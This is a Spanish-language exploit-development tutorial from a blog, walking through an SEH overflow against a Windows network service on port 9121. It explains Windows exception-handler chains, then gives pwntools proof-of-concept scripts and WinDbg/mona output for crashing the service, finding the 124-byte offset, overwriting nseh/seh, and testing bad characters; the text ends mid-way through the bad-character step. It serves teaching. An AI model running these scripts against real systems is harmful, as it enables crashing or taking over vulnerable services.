xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



Exploit Development

SEH Overflow



Además del Stack Overflow hay otro tipo de explotación llamada SEH Overflow que ocurre cuando sobrescribimos la estructura de excepciones SEH, nuevamente utilizaremos una aplicación real para entender como funciona la explotación.


Theory


Iniciamos con algunos conceptos importantes a aprender para poder explotar esta vulnerabilidad, SEH o Structured Exception Handling es la forma que tiene Windows de manejar las excepciones, estas pueden ser de software o hardware, un ejemplo básico en código podria ser el tipico try/catch para manejar excepciones:

try {
    // code block to try to execute
} catch {
    // code block if causes an exception  
}

Algunos conceptos interesantes sobre este controlador de excepciones son:

• La estructura SEH es independiente por cada hilo en ejecución, esta consta de 2 valores, el controlador y el puntero al siguiente SEH.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD  
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION

• El puntero a la estructura SEH se almacena en la estructura TEB y al ser el primer valor se puede acceder desde fs:[0].

0:000> !teb
TEB at 002bf000
    ExceptionList:        01d3ff60
    StackBase:            01d40000
    StackLimit:           01d3c000
    SubSystemTib:         00000000
    FiberData:            00001e00
    ArbitraryUserPointer: 00000000
    Self:                 002bf000
    EnvironmentPointer:   00000000
    ClientId:             00001918 . 00000f18  
    RpcHandle:            00000000
    Tls Storage:          00000000
    PEB Address:          0029b000
    LastErrorValue:       0
    LastStatusValue:      0
    Count Owned Locks:    0
    HardErrorMode:        0

0:000> dd fs:[0] L1
0053:00000000  01d3ff60

• Un programa puede tener multiples controladores SEH y estos estan encadenados entre si por una lista creando una cadena.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ff60  
   +0x000 Next             : 0x01d3ffcc _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x7735af20     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffcc  
   +0x000 Next             : 0x01d3ffe4 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x7735af20     _EXCEPTION_DISPOSITION  ntdll!_except_handler4+0

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4  
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77368c1d     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad45+0  

• Todas las cadenas terminan con un SEH predeterminado, el siguiente SEH apunta a 0xffffffff que significa que es el ultimo de la cadena.

0:000> dt ntdll!_EXCEPTION_REGISTRATION_RECORD 0x01d3ffe4
   +0x000 Next             : 0xffffffff _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : 0x77368c1d     _EXCEPTION_DISPOSITION  ntdll!FinalExceptionHandlerPad45+0  

• Si se utiliza la flag /SAFESEH el programa no será vulnerable ya que usara un controlador seguro.

• Los programas en x64 no son vulnerables a SEH Overflow ya que los archivos tienen controladores de excepciones seguros.

Resumiendo un poco lo anterior la estructura SEH de podria ver algo asi, donde una encadena a la otra almacenando el puntero al siguiente SEH terminando la cadena con el controlador por defecto que como siguiente SEH apunta a 0xffffffff

Para finalizar podemos usar el comando integrado en windbg !exchain para ver toda la estructura SEH, aunque mona tambien tiene su propio comando para mostrarla

0:000> !exchain
01d3ff60: ntdll!_except_handler4+0 (7735af20)
  CRT scope  0, filter: ntdll!DbgUiRemoteBreakin+3b (7738dbab)
                func:   ntdll!DbgUiRemoteBreakin+3f (7738dbaf)
01d3ffcc: ntdll!_except_handler4+0 (7735af20)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+3cb75 (773847a4)
                func:   ntdll!__RtlUserThreadStart+3cc0e (7738483d)
01d3ffe4: ntdll!FinalExceptionHandlerPad45+0 (77368c1d)
Invalid exception stack at ffffffff

0:000> !py mona exchain
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py exchain
Nr of SEH records : 3
Start of chain (TEB FS:[0]) : 0x01d3ff60
Address     Next SEH    Handler
-------     --------    -------
0x01d3ff60  0x01d3ffcc  0x7735af20 ntdll!_except_handler4
0x01d3ffcc  0x01d3ffe4  0x7735af20 ntdll!_except_handler4
0x01d3ffe4  0xffffffff  0x77368c1d ntdll!FinalExceptionHandlerPad45  


Crashing Application


Nuevamente evitaremos la detección de la vulnerabilidad para ahorrar tiempo y usaremos un exploit de exploitdb para crear nuestro poc, resumiendo un poco para que el programa corrompa necesita un header bastante especifico

#!/usr/bin/python3
from pwn import remote, p32

payload = b"A" * 1000

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)  
shell.sendline(content)

Al ejecutar el poc pasa algo interesante y es que aunque el programa corrompe el eip no apunta a ninguna parte de nuestra cadena como pasa en un stack overflow

❯ python3 exploit.py
[+] Opening connection to Windows on port 9121: Done  
[*] Closed connection to Windows port 9121

0:000> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=006fff44 ebx=00000000 ecx=41414141 edx=00780000 esi=006fff08 edi=006fff08
eip=0099166a esp=006ffe00 ebp=006fff80 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
0099166a 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????  

Sin embargo lo que si sobrescribimos es la estructura SEH que ahora apunta a 0x41414141 tanto en el controlador como en el puntero al siguiente SEH

0:000> !exchain
006ffe14: libpal!md5_starts+14783 (00a0d473)  
006fff44: 41414141
Invalid exception stack at 41414141

Como ha ocurrido una excepción y sobrescribimos el controlador este intentara saltar a la excepcion por lo que apuntara a 0x41414141 que si es parte de nuestra cadena

0:007> g
(d0c.18e4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=41414141 edx=77af8ac0 esi=00000000 edi=00000000  
eip=41414141 esp=006ff850 ebp=006ff870 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
41414141 ??              ???


Find Offset


Ahora necesitamos calcular la cantidad de bytes necesarios antes de sobrescribir los 2 valores de la estructura, el siguiente SEH y el controlador de la excepción, para ello podemos usar mona y crear un patron de caracteres que nos ayudara a calcularlo

0:000> !py mona pattern_create 1000
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_create 1000
Creating cyclic pattern of 1000 bytes
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B  
[+] Preparing output file 'pattern.txt'
    - (Re)setting logfile C:\mona\pattern.txt
Note: don't copy this pattern from the log window, it might be truncated !
It's better to open C:\mona\pattern.txt and copy the pattern from the file

Ahora cambiamos las 1000 A's del payload por este patrón y enviamos el exploit

#!/usr/bin/python3
from pwn import remote, p32

payload = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B"  

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

Cuando el programa corrompe los valores de la estructura ahora no son 0x41414141 sino que son los caracteres que forman parte del patron creado con mona

0:000> g
(d7c.18a4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff941 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=0090dcce esp=01bff998 ebp=01bffec8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
0090dcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:01c00000=??  

0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0097d6eb)
01bfff44: 33654132
Invalid exception stack at 65413165

La primera forma de calcular el offset es tomar el valor del siguiente SEH y del controlador para pasarselos a pattern_offset y nos de el offset de cada uno

0:000> !py mona pattern_offset 65413165
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset 65413165  
Looking for e1Ae in pattern of 500000 bytes
 - Pattern e1Ae (0x65413165) found in cyclic pattern at position 124
Looking for e1Ae in pattern of 500000 bytes
Looking for eA1e in pattern of 500000 bytes
 - Pattern eA1e not found in cyclic pattern (uppercase)  
Looking for e1Ae in pattern of 500000 bytes
Looking for eA1e in pattern of 500000 bytes
 - Pattern eA1e not found in cyclic pattern (lowercase)  

0:000> !py mona pattern_offset 33654132
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py pattern_offset 33654132  
Looking for 2Ae3 in pattern of 500000 bytes
 - Pattern 2Ae3 (0x33654132) found in cyclic pattern at position 128
Looking for 2Ae3 in pattern of 500000 bytes
Looking for 3eA2 in pattern of 500000 bytes
 - Pattern 3eA2 not found in cyclic pattern (uppercase)  
Looking for 2Ae3 in pattern of 500000 bytes
Looking for 3eA2 in pattern of 500000 bytes
 - Pattern 3eA2 not found in cyclic pattern (lowercase)

La otra forma mas facil es usar exchain de mona que detecta directamente el offset al valor del siguiente SEH que es el inicio de la estructura seguido del controlador

0:000> !py mona exchain
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py exchain
Nr of SEH records : 2
Start of chain (TEB FS:[0]) : 0x01bffe0c
Address     Next SEH    Handler
-------     --------    -------
0x01bffe0c  0x01bfff44  0x0097d6eb libpal.dll+0x0008d6eb
0x01bfff44  0x65413165  0x33654132  (record smashed at offset 124)  

Nuestro payload ahora envia 124 A's hasta antes de sobrescribir la estructura SEH, 4 B's que serán el siguiente SEH y 4 C's que serán el controlador, ademas de ello rellenamos con D's hasta llegar a 1000 bytes ya que en la mayoria de casos es necesario forzar que ocurra la excepción enviando una cantidad grande de bytes

#!/usr/bin/python3
from pwn import remote, p32

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

payload  = b""
payload += junk
payload += nseh + seh
payload += b"D" * (1000 - len(payload))  

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

Al enviar el exploit el programa corrompe pero ahora controlamos la estructura SEH con el siguiente SEH con el valor 0x42424242 y el controlador con 0x43434343

0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01bff944 ebx=01bff9c4 ecx=00000139 edx=00000302 esi=01bffa0c edi=00000138
eip=008fdcce esp=01bff998 ebp=01bffec8 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_GetToken+0x4e:
008fdcce 88042f          mov     byte ptr [edi+ebp],al      ds:002b:01c00000=??  

0:000> !exchain
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

Si seguimos la ejecución, como ocurrio una excepción ejecutara el primer controlador del SEH y como lo hemos sobrescrito con 0x43434343 intentara saltar a esa dirección

0:000> g
(1914.1074): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77af8ac0 esi=00000000 edi=00000000
eip=43434343 esp=01bff3e8 ebp=01bff408 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

Algo a tener en cuenta es que cuando ocurre la excepción los valores del SEH se mueven al stack parecido a cuando se llama a una función, lo que nos interesa es que en la dirección esp + 8 se encuentra el puntero hacia el siguiente SEH

0:000> !exchain
01bff3fc: ntdll!ExecuteHandler2+44 (77af8ac0)  
01bffe0c: libpal!md5_starts+149fb (0096d6eb)
01bfff44: 43434343
Invalid exception stack at 42424242

0:000> dds esp L4
01bff3e8  77af8aa2 ntdll!ExecuteHandler2+0x26
01bff3ec  01bff4e8 
01bff3f0  01bfff44                 (esp + 8) [ptr to nseh]
01bff3f4  01bff538

Podemos inspeccionar lo que hay en el puntero de esp + 8 podemos ver el valor del siguiente SEH (0x42424242) seguido del controlador y las D's de relleno

0:000> dds poi(esp + 8) L4
01bfff44  42424242                 (nseh)  
01bfff48  43434343                 (seh)  
01bfff4c  44444444                 (DDDD)  
01bfff50  44444444                 (DDDD)  


Find Badchars


Algo importante es detectar bytes que puedan dar problemas, ya que es posible que el programa tenga problemas con algunos caracteres especificos y cortar la cadena, si esto pasa en un shellcode eliminara muchas de las instrucciones y no se ejecutará

0:000> !py mona bytearray
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray
Generating table, excluding 0 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

Done, wrote 256 bytes to file C:\mona\bytearray.txt
Binary output saved in C:\mona\bytearray.bin

Modificamos el exploit para que en lugar de guardar D's guarde nuestro bytearray de los 256 posibles caracteres para despues comparar la direccion de memoria donde se encuentra con el .bin que nos creo mona de todos los posibles badchars

#!/usr/bin/python3
from pwn import remote, p32

offset = 124
junk = b"A" * offset

nseh = b"B" * 4
seh = b"C" * 4

badchars  = b""
badchars += b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"  
badchars += b"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"  
badchars += b"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"  
badchars += b"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"  
badchars += b"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"  
badchars += b"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"  
badchars += b"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"  
badchars += b"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"  

payload  = b""
payload += junk
payload += nseh + seh
payload += badchars
payload += b"D" * (1000 - len(payload))

header  = b""
header += p32(0xabba1975)
header += p32(0x3)
header += p32(0x1)
header += p32(len(payload))
header += p32(len(payload))
header += p32(payload[-1])

content = header + payload

shell = remote("Windows", 9121)
shell.sendline(content)

El programa corrompe y saltamos a la excepción que nos lleva al controlador

0:000> g
(1370.17b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=01c0ff44 ebx=00000000 ecx=41414141 edx=00590000 esi=01c0ff08 edi=01c0ff08
eip=008e166a esp=01c0fe00 ebp=01c0ff80 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
libpal!SCA_ConfigObj::Clear+0xa:
008e166a 8b410c          mov     eax,dword ptr [ecx+0Ch] ds:002b:4141414d=????????  

0:000> g
(1370.17b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=43434343 edx=77af8ac0 esi=00000000 edi=00000000
eip=43434343 esp=01c0f850 ebp=01c0f870 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
43434343 ??              ???

Sabemos que el puntero de esp + 8 apunta a el siguiente SEH por lo que si saltamos los 8 bytes del siguiente SEH y controlador la dirección resultante deberia apuntar a lo que enviamos después que son los badchars, podemos calcular la dirección

0:000> ? poi(esp + 8) + 8
Evaluate expression: 29425484 = 01c0ff4c  

Comparamos los bytes de esa dirección y parece que ningun byte coincide por lo que probablemente el 0x00 esta corrompiendo todo lo que esta después, incluyendose

0:000> !py mona compare -f C:\mona\bytearray.bin -a 01c0ff4c
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py compare -f C:\mona\bytearray.bin -a 01c0ff4c  
[+] Reading file C:\mona\bytearray.bin...
    Read 256 bytes from file
[+] Preparing output file 'compare.txt'
    - (Re)setting logfile C:\mona\compare.txt
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] C:\mona\bytearray.bin has been recognized as RAW bytes.
[+] Fetched 256 bytes successfully from C:\mona\bytearray.bin
    - Comparing 1 location(s)
Comparing bytes from file with memory :
0x01c0ff4c | [+] Comparing with memory at location : 0x01c0ff4c (Stack)
0x01c0ff4c | Only 0 original bytes of 'normal' code found.
0x01c0ff4c |     ,-----------------------------------------------.
0x01c0ff4c |     | Comparison results:                           |
0x01c0ff4c |     |-----------------------------------------------|
0x01c0ff4c |   0 |00 01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f| File
0x01c0ff4c |     |ff ff ff ff 4c 07 91 00 00 3d 91 00 88 35 05 01| Memory
0x01c0ff4c |  10 |10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f| File
0x01c0ff4c |     |62 3f 91 00 10 ef ae 00 88 35 05 01 14 3d 91 00| Memory
0x01c0ff4c |  20 |20 21 22 23 24 25 26 27 28 29 2a 2b 2c 2d 2e 2f| File
0x01c0ff4c |     |10 ef ae 00 00 3d 91 00 c9 fc 93 77 88 35 05 01| Memory
0x01c0ff4c |  30 |30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f| File
0x01c0ff4c |     |b0 fc 93 77 dc ff c0 01 5e 7c ad 77 88 35 05 01| Memory
0x01c0ff4c |  40 |40 41 42 43 44 45 46 47 48 49 4a 4b 4c 4d 4e 4f| File
0x01c0ff4c |     |d4 4e 06 d1 00 00 00 00 00 00 00 00 88 35 05 01| Memory
0x01c0ff4c |  50 |50 51 52 53 54 55 56 57 58 59 5a 5b 5c 5d 5e 5f| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  60 |60 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  70 |70 71 72 73 74 75 76 77 78 79 7a 7b 7c 7d 7e 7f| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 8c ff c0 01 00 00 00 00| Memory
0x01c0ff4c |  80 |80 81 82 83 84 85 86 87 88 89 8a 8b 8c 8d 8e 8f| File
0x01c0ff4c |     |e4 ff c0 01 20 af ae 77 48 78 71 a7 00 00 00 00| Memory
0x01c0ff4c |  90 |90 91 92 93 94 95 96 97 98 99 9a 9b 9c 9d 9e 9f| File
0x01c0ff4c |     |ec ff c0 01 2e 7c ad 77 ff ff ff ff f7 8b af 77| Memory
0x01c0ff4c |  a0 |a0 a1 a2 a3 a4 a5 a6 a7 a8 a9 aa ab ac ad ae af| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 3d 91 00 88 35 05 01| Memory
0x01c0ff4c |  b0 |b0 b1 b2 b3 b4 b5 b6 b7 b8 b9 ba bb bc bd be bf| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  c0 |c0 c1 c2 c3 c4 c5 c6 c7 c8 c9 ca cb cc cd ce cf| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  d0 |d0 d1 d2 d3 d4 d5 d6 d7 d8 d9 da db dc dd de df| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  e0 |e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 ea eb ec ed ee ef| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |  f0 |f0 f1 f2 f3 f4 f5 f6 f7 f8 f9 fa fb fc fd fe ff| File
0x01c0ff4c |     |00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00| Memory
0x01c0ff4c |     `-----------------------------------------------'
0x01c0ff4c | 
0x01c0ff4c |             | File      | Memory    | Note     
0x01c0ff4c | -----------------------------------------------
0x01c0ff4c | 0 0 256 256 | 00 ... ff | ff ... 00 | corrupted
0x01c0ff4c | 
0x01c0ff4c | Possibly bad chars: 00
0x01c0ff4c |

Lo que hacemos es crear un nuevo bytearray que omita el byte 0x00, esto creará un .bin que elimina al inicio el null byte, además eliminamos ese byte del exploit

0:000> !py mona bytearray -cpb '\x00'
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py bytearray -cpb '\x00'
Generating table, excluding 1 bad chars...
Dumping table to file
[+] Preparing output file 'bytearray.txt'
    - (Re)setting logfile C:\mona\bytearray.txt
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"  
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"  
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"  
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"  
